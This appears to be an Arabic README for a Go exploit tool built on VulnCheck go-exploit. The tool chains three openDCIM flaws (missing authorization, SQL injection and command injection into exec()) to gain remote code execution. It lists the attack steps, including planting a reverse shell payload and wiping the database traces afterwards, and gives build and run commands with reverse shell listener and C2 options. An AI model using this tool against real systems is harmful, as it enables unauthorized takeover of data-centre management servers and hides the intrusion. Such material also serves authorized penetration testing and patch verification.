
سلسلة استغلال SQLi إلى RCE في openDCIM install.php (CWE-862 + CWE-89 + CWE-78)
سلسلة تنفيذ أكواد عن بُعد تستهدف نموذج إعدادات LDAP في install.php الخاص بـ openDCIM. مبنية على إطار عمل VulnCheck go-exploit.
| # | CVE | CWE | الوصف |
|---|---|---|---|
| 1 | CVE-2026-28515 | CWE-862 | install.php لا يجري أي فحص للصلاحيات قبل نموذج إعدادات LDAP - أي مستخدم يمكنه الوصول إليه |
| 2 | CVE-2026-28516 | CWE-89 | Config::UpdateParameter() يستخدم استيفاء السلاسل النصية، استعلامات متراكبة عبر PDO+MySQL |
| 3 | CVE-2026-28517 | CWE-78 | report_network_map.php يمرر قيمة إعداد dot مباشرة إلى exec() |
متأثر: جميع الإصدارات (تم الاختبار على أحدث commit 4467e9c4)
install.php - حقن SQL عبر نموذج LDAP يعمل على نسخ الإعدادات احتياطيًا، ثم يستبدل dot بحمولة أوامرreport_network_map.php - يشغّل exec()، ويؤكد RCE عبر مخرجات idinstall.php - يستبدل dot بحمولة reverse shellreport_network_map.php - يشغّل reverse shellinstall.php - يستعيد جميع قيم الإعدادات الأصلية من جدول النسخ الاحتياطيلا تبقى أي آثار في قاعدة البيانات بعد الاستغلال.
go build -o opendcim-exploit .
# فحص فقط
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80
# استغلال مع reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass
./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer
| الخيار | الافتراضي | الوصف |
|---|
-rhost | المضيف المستهدف | |
-rport | 80 | منفذ الهدف |
-ssl | false | استخدام HTTPS |
-lhost | مضيف المستمع (لـ reverse shell) | |
-lport | منفذ المستمع (لـ reverse shell) | |
-c2 | نوع C2: SimpleShellServer أو SSLShellServer | |
-username | اسم مستخدم HTTP Basic Auth (احذفه لنشر SetEnv) | |
-password | كلمة مرور HTTP Basic Auth (احذفها لنشر SetEnv) | |
-a | كشف الأصول (التحقق مما إذا كان الهدف قابلاً للاستغلال) | |
-e | وضع الاستغلال |